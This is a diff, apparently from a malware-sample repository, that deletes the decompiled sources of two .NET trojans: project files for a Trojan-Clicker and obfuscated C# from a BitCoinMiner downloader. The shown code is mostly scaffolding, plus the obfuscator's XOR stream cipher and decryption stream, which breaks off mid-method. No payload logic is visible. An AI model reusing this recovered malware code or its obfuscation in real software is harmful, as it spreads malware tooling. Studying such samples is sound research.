mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="$this.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
</data>
<data name="$this.TrayLargeIcon" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
</data>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>BUZvcm0x</value>
</data>
<data name="$this.DefaultModifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="$this.Locked" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
</data>
<data name="$this.DrawGrid" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
</data>
<data name="$this.Localizable" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
</data>
<data name="$this.Language" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAACBTeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbwoAAAAGbV9uYW1lCm1fZGF0YUl0ZW0RbV91c2VVc2VyT3ZlcnJpZGUJY3VsdHVyZUlEDG1faXNSZWFkT25seQtjb21wYXJlSW5mbwh0ZXh0SW5mbwdudW1JbmZvDGRhdGVUaW1lSW5mbwhjYWxlbmRhcgEAAAAAAwMDAwMIAQgBIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvJVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8nU3lzdGVtLkdsb2JhbGl6YXRpb24uRGF0ZVRpbWVGb3JtYXRJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLkNhbGVuZGFyBgIAAAAAygAAAAB/AAAAAQkDAAAACQQAAAAJBQAAAAoKBAMAAAAgU3lzdGVtLkdsb2JhbGl6YXRpb24uQ29tcGFyZUluZm8CAAAACXdpbjMyTENJRAdjdWx0dXJlAAAICH8AAAB/AAAABAQAAAAdU3lzdGVtLkdsb2JhbGl6YXRpb24uVGV4dEluZm8DAAAAC21fbkRhdGFJdGVtEW1fdXNlVXNlck92ZXJyaWRlDW1fd2luMzJMYW5nSUQAAAAIAQjKAAAAAH8AAAAEBQAAACVTeXN0ZW0uR2xvYmFsaXphdGlvbi5OdW1iZXJGb3JtYXRJbmZvHwAAABBudW1iZXJHcm91cFNpemVzEmN1cnJlbmN5R3JvdXBTaXplcxFwZXJjZW50R3JvdXBTaXplcwxwb3NpdGl2ZVNpZ24MbmVnYXRpdmVTaWduFm51bWJlckRlY2ltYWxTZXBhcmF0b3IUbnVtYmVyR3JvdXBTZXBhcmF0b3IWY3VycmVuY3lHcm91cFNlcGFyYXRvchhjdXJyZW5jeURlY2ltYWxTZXBhcmF0b3IOY3VycmVuY3lTeW1ib2wSYW5zaUN1cnJlbmN5U3ltYm9sCW5hblN5bWJvbBZwb3NpdGl2ZUluZmluaXR5U3ltYm9sFm5lZ2F0aXZlSW5maW5pdHlTeW1ib2wXcGVyY2VudERlY2ltYWxTZXBhcmF0b3IVcGVyY2VudEdyb3VwU2VwYXJhdG9yDXBlcmNlbnRTeW1ib2wOcGVyTWlsbGVTeW1ib2wKbV9kYXRhSXRlbRNudW1iZXJEZWNpbWFsRGlnaXRzFWN1cnJlbmN5RGVjaW1hbERpZ2l0cxdjdXJyZW5jeVBvc2l0aXZlUGF0dGVybhdjdXJyZW5jeU5lZ2F0aXZlUGF0dGVybhVudW1iZXJOZWdhdGl2ZVBhdHRlcm4WcGVyY2VudFBvc2l0aXZlUGF0dGVybhZwZXJjZW50TmVnYXRpdmVQYXR0ZXJuFHBlcmNlbnREZWNpbWFsRGlnaXRzCmlzUmVhZE9ubHkRbV91c2VVc2VyT3ZlcnJpZGUVdmFsaWRGb3JQYXJzZUFzTnVtYmVyF3ZhbGlkRm9yUGFyc2VBc0N1cnJlbmN5BwcHAQEBAQEBAQEBAQEBAQEBAAAAAAAAAAAAAAAAAAgICAgICAgICAgICAEBAQEJBgAAAAkHAAAACQYAAAAGCQAAAAErBgoAAAABLQYLAAAAAS4GDAAAAAEsBg0AAAABLAYOAAAAAS4GDwAAAALCpAoGEAAAAANOYU4GEQAAAAhJbmZpbml0eQYSAAAACS1JbmZpbml0eQkLAAAACQwAAAAGFQAAAAElBhYAAAAD4oCwygAAAAIAAAACAAAAAAAAAAAAAAABAAAAAAAAAAAAAAACAAAAAQABAQ8GAAAAAQAAAAgDAAAADwcAAAABAAAACAMAAAAL</value>
</data>
<data name="$this.GridSize" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw==</value>
</data>
<data name="$this.TrayHeight" mimetype="application/x-microsoft.net.object.binary.base64">
<value>UAAAAA==</value>
</data>
</root>

48
MSIL/Trojan-Clicker/Win32/V/Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b/Trojan-Clicker.Win32.VB.ab.csproj
View File

@ -1,48 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{544064DE-D1E1-48FB-A468-FC0A2F081506}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>addoul2</AssemblyName>
<ApplicationVersion>1.0.1392.15754</ApplicationVersion>
<RootNamespace>addoul2</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Clicker/Win32/V/Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b/Trojan-Clicker.Win32.VB.ab.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "addoul2", "Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b.csproj", "{544064DE-D1E1-48FB-A468-FC0A2F081506}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{544064DE-D1E1-48FB-A468-FC0A2F081506}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{544064DE-D1E1-48FB-A468-FC0A2F081506}.Debug|Any CPU.Build.0 = Debug|Any CPU
{544064DE-D1E1-48FB-A468-FC0A2F081506}.Release|Any CPU.ActiveCfg = Release|Any CPU
{544064DE-D1E1-48FB-A468-FC0A2F081506}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

15
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/AssemblyInfo.cs
View File

@ -1,15 +0,0 @@
using SmartAssembly.Attributes;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyTitle("Miners")]
[assembly: SuppressIldasm]
[assembly: ComVisible(false)]
[assembly: Guid("e9a643c8-ce10-46f5-a70c-456b68ccdfa4")]
[assembly: AssemblyProduct("Miners")]
[assembly: PoweredBy("Powered by SmartAssembly")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
[assembly: AssemblyCompany("Microsoft")]
[assembly: AssemblyVersion("1.0.0.0")]

30
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/ICSharpCode/SharpZipLib/SharpZipBaseException.cs
View File

@ -1,30 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.SharpZipBaseException
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ICSharpCode.SharpZipLib
{
[Serializable]
public class SharpZipBaseException : ApplicationException
{
protected SharpZipBaseException([In] SerializationInfo obj0, [In] StreamingContext obj1)
: base(obj0, obj1)
{
}
public SharpZipBaseException()
{
}
public SharpZipBaseException([In] string obj0)
: base(obj0)
{
}
}
}

30
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/ICSharpCode/SharpZipLib/Tar/TarException.cs
View File

@ -1,30 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Tar.TarException
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ICSharpCode.SharpZipLib.Tar
{
[Serializable]
public sealed class TarException : SharpZipBaseException
{
protected TarException([In] SerializationInfo obj0, [In] StreamingContext obj1)
: base(obj0, obj1)
{
}
public TarException()
{
}
public TarException([In] string obj0)
: base(obj0)
{
}
}
}

30
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/ICSharpCode/SharpZipLib/Zip/ZipException.cs
View File

@ -1,30 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.ZipException
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ICSharpCode.SharpZipLib.Zip
{
[Serializable]
public sealed class ZipException : SharpZipBaseException
{
protected ZipException([In] SerializationInfo obj0, [In] StreamingContext obj1)
: base(obj0, obj1)
{
}
public ZipException()
{
}
public ZipException([In] string obj0)
: base(obj0)
{
}
}
}

73
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/Miners/My/MySettings.cs
View File

@ -1,73 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Miners.My.MySettings
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u009C\u0002;
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace Miners.My
{
[EditorBrowsable(EditorBrowsableState.Advanced)]
[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings \u0001 = (MySettings) \u009A\u0004.\u0019\u0006((SettingsBase) new MySettings());
private static bool \u0002;
private static object \u0003 = \u001B\u0005.\u008C\u0005(new object());
[DebuggerNonUserCode]
public MySettings()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerNonUserCode]
private static void \u0017\u0006(object sender, EventArgs e)
{
if (!\u0007\u0003.\u007E\u0015((object) \u009E\u0002.\u0007\u0006()))
return;
// ISSUE: reference to a compiler-generated method
\u0093\u0003.\u007E\u001B\u0006((object) \u0005\u0003.\u0019\u0006());
}
public static MySettings Default
{
get
{
if (!MySettings.\u0002)
{
object obj = MySettings.\u0003;
\u0093\u0003.\u001E(obj);
\u0093\u0003.\u009B\u0003(obj);
try
{
if (!MySettings.\u0002)
{
\u0012\u0003.\u007E\u0010((object) \u009E\u0002.\u0007\u0006(), (ShutdownEventHandler) ((sender, e) =>
{
if (!\u0007\u0003.\u007E\u0015((object) \u009E\u0002.\u0007\u0006()))
return;
\u0093\u0003.\u007E\u001B\u0006((object) \u0005\u0003.\u0019\u0006());
}));
MySettings.\u0002 = true;
}
}
finally
{
\u0093\u0003.\u009C\u0003(obj);
}
}
return MySettings.\u0001;
}
}
}
}

17
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/SmartAssembly/Attributes/PoweredByAttribute.cs
View File

@ -1,17 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: SmartAssembly.Attributes.PoweredByAttribute
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
namespace SmartAssembly.Attributes
{
public sealed class PoweredByAttribute : Attribute
{
public PoweredByAttribute(string s)
{
}
}
}

51
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0002_0002.cs
View File

@ -1,51 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u0090;
using System;
using System.Runtime.InteropServices;
namespace \u0001\u0002
{
internal class \u0002\u0002
{
private uint[] \u0001;
protected byte \u0097\u0003()
{
uint num = (uint) ((int) this.\u0001[2] & (int) ushort.MaxValue | 2);
return (byte) (num * (num ^ 1U) >> 8);
}
protected void \u0098\u0003([In] byte[] obj0)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(868));
if (obj0.Length != 12)
throw new InvalidOperationException(\u0008.\u000E\u0003(881));
this.\u0001 = new uint[3];
this.\u0001[0] = (uint) ((int) obj0[3] << 24 | (int) obj0[2] << 16 | (int) obj0[1] << 8) | (uint) obj0[0];
this.\u0001[1] = (uint) ((int) obj0[7] << 24 | (int) obj0[6] << 16 | (int) obj0[5] << 8) | (uint) obj0[4];
this.\u0001[2] = (uint) ((int) obj0[11] << 24 | (int) obj0[10] << 16 | (int) obj0[9] << 8) | (uint) obj0[8];
}
protected void \u0099\u0003([In] byte obj0)
{
this.\u0001[0] = \u0091.\u008A\u0003(this.\u0001[0], obj0);
this.\u0001[1] = this.\u0001[1] + (uint) (byte) this.\u0001[0];
this.\u0001[1] = (uint) ((int) this.\u0001[1] * 134775813 + 1);
this.\u0001[2] = \u0091.\u008A\u0003(this.\u0001[2], (byte) (this.\u0001[1] >> 24));
}
protected void Reset()
{
this.\u0001[0] = 0U;
this.\u0001[1] = 0U;
this.\u0001[2] = 0U;
}
}
}

51
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0003_0002.cs
View File

@ -1,51 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0001\u0002;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0001\u0002
{
internal sealed class \u0003\u0002 : \u0002\u0002, IDisposable, ICryptoTransform
{
internal \u0003\u0002([In] byte[] obj0) => this.\u0098\u0003(obj0);
public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
byte[] numArray = new byte[obj2];
this.TransformBlock(obj0, obj1, obj2, numArray, 0);
return numArray;
}
public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
{
for (int index = obj1; index < obj1 + obj2; ++index)
{
byte num = obj0[index];
obj3[obj4++] = (byte) ((uint) obj0[index] ^ (uint) this.\u0097\u0003());
this.\u0099\u0003(num);
}
return obj2;
}
[SpecialName]
public bool get_CanReuseTransform() => true;
[SpecialName]
public int get_InputBlockSize() => 1;
[SpecialName]
public int get_OutputBlockSize() => 1;
[SpecialName]
public bool get_CanTransformMultipleBlocks() => true;
public void Dispose() => this.Reset();
}
}

51
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0004_0002.cs
View File

@ -1,51 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0001\u0002;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0001\u0002
{
internal sealed class \u0004\u0002 : \u0002\u0002, IDisposable, ICryptoTransform
{
internal \u0004\u0002([In] byte[] obj0) => this.\u0098\u0003(obj0);
public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
byte[] numArray = new byte[obj2];
this.TransformBlock(obj0, obj1, obj2, numArray, 0);
return numArray;
}
public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
{
for (int index = obj1; index < obj1 + obj2; ++index)
{
byte num = (byte) ((uint) obj0[index] ^ (uint) this.\u0097\u0003());
obj3[obj4++] = num;
this.\u0099\u0003(num);
}
return obj2;
}
[SpecialName]
public bool get_CanReuseTransform() => true;
[SpecialName]
public int get_InputBlockSize() => 1;
[SpecialName]
public int get_OutputBlockSize() => 1;
[SpecialName]
public bool get_CanTransformMultipleBlocks() => true;
public void Dispose() => this.Reset();
}
}

83
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0005_0002.cs
View File

@ -1,83 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0001\u0002;
using \u000E;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0001\u0002
{
internal sealed class \u0005\u0002 : \u009F
{
private byte[] \u0001;
[SpecialName]
public override int get_BlockSize() => 8;
[SpecialName]
public override void set_BlockSize([In] int obj0)
{
if (obj0 != 8)
throw new CryptographicException(\u0008.\u000E\u0003(914));
}
[SpecialName]
public override KeySizes[] get_LegalKeySizes() => new KeySizes[1]
{
new KeySizes(96, 96, 0)
};
public override void GenerateIV()
{
}
[SpecialName]
public override KeySizes[] get_LegalBlockSizes() => new KeySizes[1]
{
new KeySizes(8, 8, 0)
};
[SpecialName]
public override byte[] get_Key()
{
if (this.\u0001 == null)
\u0093\u0003.\u007E\u0006\u0006((object) this);
return (byte[]) \u001B\u0005.\u007E\u009A((object) this.\u0001);
}
[SpecialName]
public override void set_Key([In] byte[] obj0)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
if (obj0.Length != 12)
throw new CryptographicException(\u0008.\u000E\u0003(952));
this.\u0001 = (byte[]) \u001B\u0005.\u007E\u009A((object) obj0);
}
public override void GenerateKey()
{
this.\u0001 = new byte[12];
Random random = new Random();
\u0008\u0004.\u007E\u0090\u0003((object) random, this.\u0001);
}
public override ICryptoTransform CreateEncryptor([In] byte[] obj0, [In] byte[] obj1)
{
this.\u0001 = obj0;
return (ICryptoTransform) new \u0003\u0002(\u008A\u0005.\u007E\u009F\u0005((object) this));
}
public override ICryptoTransform CreateDecryptor([In] byte[] obj0, [In] byte[] obj1)
{
this.\u0001 = obj0;
return (ICryptoTransform) new \u0004\u0002(\u008A\u0005.\u007E\u009F\u0005((object) this));
}
}
}

89
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0006_0002.cs
View File

@ -1,89 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0001\u0002;
using \u000E;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0001\u0002
{
internal sealed class \u0006\u0002 : CryptoStream
{
private Stream \u0001;
private \u0007\u0002 \u0002;
private byte[] \u0003;
private int \u0004;
private int \u0005;
private int \u0006;
public \u0006\u0002([In] Stream obj0, [In] \u0007\u0002 obj1, [In] CryptoStreamMode obj2)
: base(obj0, (ICryptoTransform) obj1, obj2)
{
this.\u0001 = obj0;
this.\u0002 = obj1;
this.\u0003 = new byte[1024];
this.\u0006 = 26;
if (obj2 != CryptoStreamMode.Read)
throw new Exception(\u0008.\u000E\u0003(981));
}
public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
int num1 = 0;
while (num1 < obj2)
{
int num2 = this.\u0006 - (this.\u0005 - this.\u0004);
if (this.\u0003.Length - this.\u0005 < num2)
{
int index1 = 0;
int index2 = this.\u0004;
while (index2 < this.\u0005)
{
this.\u0003[index1] = this.\u0003[index2];
++index2;
++index1;
}
this.\u0005 -= this.\u0004;
this.\u0004 = 0;
}
this.\u0005 += \u0089\u0005.\u007E\u000F\u0005((object) this.\u0001, this.\u0003, this.\u0005, num2);
